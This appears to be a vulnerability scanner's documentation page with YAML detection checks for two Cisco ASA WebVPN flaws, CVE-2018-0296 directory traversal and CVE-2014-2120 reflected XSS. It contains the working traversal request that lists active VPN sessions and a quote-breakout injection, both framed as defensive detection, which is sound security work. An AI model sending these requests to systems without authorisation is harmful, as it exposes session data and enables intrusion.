Cisco ASA — 2 vulnerability checks

noctis ships 2 vulnerability checks for Cisco ASA, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Cisco ASA WebVPN Directory Traversal / Information Disclosure

CVECVE-2018-0296
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/cisco-asa/CVE-2018-0296.yaml

Tests Cisco ASA / Firepower WebVPN for unauthenticated directory traversal via the +CSCOU+/../+CSCOE+ path confusion (CVE-2018-0296). Confirms by reaching file_list.json?path=/sessions and matching the genuine directory listing content a vulnerable appliance returns.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions HTTP/1.0
  2. Checks list_resp.banner for HTTP/1\.[01] 200[\s\S]*///sessions → finding QoD 75: WebVPN directory traversal confirmed — file_list.json reflected /sessions listing: …

References:

Feed source — tests/vulnerabilities/cisco-asa/CVE-2018-0296.yaml
# Cisco ASA / Firepower WebVPN Directory Traversal & Information Disclosure — CVE-2018-0296
#
# The WebVPN (Clientless SSL VPN) portal of Cisco Adaptive Security Appliance
# (ASA) and Firepower Threat Defense software fails to validate ../ sequences
# in the +CSCOU+ / +CSCOE+ virtual paths. An unauthenticated attacker can
# reach the internal file_list.json handler and enumerate directory contents
# (e.g. the live `/sessions` directory), disclosing active WebVPN sessions and
# other internal files. Patched builds reject the traversed path (403/redirect).
#
# Detection: send the traversal probe and confirm the genuine directory-listing
# JSON that only a vulnerable target reflects back (the `///sessions` path echo
# emitted by the file_list.json handler). QoD 75 — response analysis.
uid: dea8f059-ab32-418f-bfaf-3eaddeb050a0
name: "Cisco ASA WebVPN Directory Traversal / Information Disclosure (CVE-2018-0296)"
description: |
  Tests Cisco ASA / Firepower WebVPN for unauthenticated directory traversal
  via the +CSCOU+/../+CSCOE+ path confusion (CVE-2018-0296). Confirms by
  reaching file_list.json?path=/sessions and matching the genuine directory
  listing content a vulnerable appliance returns.
cves: [CVE-2018-0296]
cvss: 7.5
severity: high
confidence_base: 0.30
category: file-read
tags: [cisco, asa, firepower, webvpn, path-traversal, lfi, information-disclosure, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-0296"
  - "https://github.com/yassineaboukir/CVE-2018-0296"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-0296.yaml"

steps:
  # ── Directory traversal probe ────────────────────────────────────────────
  # tcp_connect is required: reqwest normalises the ../ (and %-encoded)
  # sequences away before sending, which destroys the +CSCOU+/../+CSCOE+
  # path-confusion payload. Raw verbatim HTTP/1.0 preserves it.
  - id: traversal-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: list_resp

  # Genuine directory-listing content: a vulnerable appliance reflects the
  # traversed path back in the file_list.json body as `///sessions` and
  # answers 200 OK. Patched builds return 403/redirect and never emit it.
  - id: listing-match
    action: match
    source: list_resp.banner
    pattern: "HTTP/1\\.[01] 200[\\s\\S]*///sessions"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "WebVPN directory traversal confirmed — file_list.json reflected /sessions listing: {{list_resp.banner}}"
      stop: true

Cisco ASA WebVPN Login Page XSS

CVECVE-2014-2120
Severitymedium · CVSS 6.1
Categoryxss — XSS
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/cisco-asa/CVE-2014-2120.yaml

Tests the Cisco ASA WebVPN password-recovery page for the reflected XSS in the auth_handle hidden input (CVE-2014-2120). Confirms by injecting an inert attribute carrying per-run random tokens and checking that the double quote breaks out of the value attribute unencoded.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle={{pre}}%22%20noctis…
  4. Parses / computes the next value with a Rhai script
  5. Checks resp.banner for ^HTTP/1\.[01] 200[\s\S]*name=auth_handle\s+value="[0-9a-f]{6}\\?" noc… → finding QoD 75: Reflected XSS confirmed — the WebVPN password-recovery page put the injected double quote into the auth_handle value unencoded, so the iner…

References:

Feed source — tests/vulnerabilities/cisco-asa/CVE-2014-2120.yaml
# Cisco ASA WebVPN Login Page XSS — CVE-2014-2120 (cisco-sa-CVE-2014-2120, CSCun19025, CISA KEV)
#
# The Clientless SSL VPN (WebVPN) password-recovery form of Cisco Adaptive
# Security Appliance software (8.4(7) and earlier, 9.1(4) and earlier) echoes
# the `auth_handle` query parameter into a hidden <input> value. A vulnerable
# ASA "escapes" a double quote as `\"` — a JavaScript escape that HTML ignores —
# so the quote closes the attribute and the rest of the parameter becomes new
# attributes of the element (reflected XSS). A fixed ASA HTML-encodes it as
# `&quot;`.
#
# Detection (benign real-exploitation proof): mint two per-run random tokens,
# inject `<pre>" noctis<post>=1 x` into auth_handle, and require the response to
# contain `value="<pre>\" noctis<post>=1` (or the same without the backslash):
# the quote reached the HTML unencoded, so our inert attribute `noctis<post>`
# was really injected into the tag. No script is ever sent — the attribute does
# nothing. A patched ASA returns `<pre>&quot; noctis...` and never matches.
#
# Ported from OpenVAS/Greenbone NVT 2016/gb_cisco_asa_vpn_portal_xss_vuln.nasl
# (GPL-2.0-only). Differences from the NASL, all deliberate:
#   - inert attribute instead of `onbegin=alert(1)` (project rule: benign proof);
#   - exact per-run tokens checked with stridx (a static page can't match);
#   - accepts the breakout with or without the backslash (the NASL only accepts
#     `\"`, so an ASA build that echoes the quote raw would be missed);
#   - either page marker (`>New Password<` or `>SSL VPN Service<`) is enough.
# The payload is URL-encoded in the query, so the request goes out verbatim via
# tcp_connect (reqwest would re-normalise it) and is matched on resp.banner.
uid: d18b35fa-0a23-4e71-ba93-cbe1ad4cb5db
name: "Cisco ASA WebVPN Login Page XSS (CVE-2014-2120)"
description: |
  Tests the Cisco ASA WebVPN password-recovery page for the reflected XSS in
  the auth_handle hidden input (CVE-2014-2120). Confirms by injecting an inert
  attribute carrying per-run random tokens and checking that the double quote
  breaks out of the value attribute unencoded.
cves: [CVE-2014-2120]
cvss: 6.1
severity: medium
confidence_base: 0.30
category: xss
tags: [cisco, asa, webvpn, ssl-vpn, xss, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-2120"
  - "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/CVE-2014-2120"
  - "OpenVAS/Greenbone NASL 2016/gb_cisco_asa_vpn_portal_xss_vuln.nasl (GPL-2.0-only)"

steps:
  # Per-run random tokens (lowercase hex), like the NASL's prestr / poststr.
  - id: mint-pre
    action: script
    code: 'rand_hex(3)'
    store_as: pre

  - id: mint-post
    action: script
    code: 'rand_hex(6)'
    store_as: post

  # Same URL as the NASL; only the injected attribute is replaced by an inert one.
  # auth_handle = <pre>" noctis<post>=1 x
  - id: xss-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle={{pre}}%22%20noctis{{post}}%3d1%20x&status=0&username=&password_min=0&state=&tgroup=&serverType=0&password_days=0 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # True only when this run's tokens come back with the quote unencoded inside
  # the auth_handle value, on the WebVPN password-recovery / portal page.
  - id: check-breakout
    action: script
    code: |
      let b = if type_of(resp.banner) == "string" { resp.banner } else { "" };
      let tail = "\" noctis" + post + "=1";
      let escaped = "value=\"" + pre + "\\" + tail;
      let raw = "value=\"" + pre + tail;
      let page = stridx(b, ">New Password<") >= 0 || stridx(b, ">SSL VPN Service<") >= 0;
      (stridx(b, escaped) >= 0 || stridx(b, raw) >= 0) && page
    store_as: breakout

  - id: xss-match
    action: match
    source: resp.banner
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*name=auth_handle\\s+value=\"[0-9a-f]{6}\\\\?\" noctis[0-9a-f]{12}=1"
    condition: "breakout == true"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Reflected XSS confirmed — the WebVPN password-recovery page put the injected double quote into the auth_handle value unencoded, so the inert attribute noctis{{post}} was injected into the tag: {{resp.banner}}"
      stop: true

View these feeds on GitHub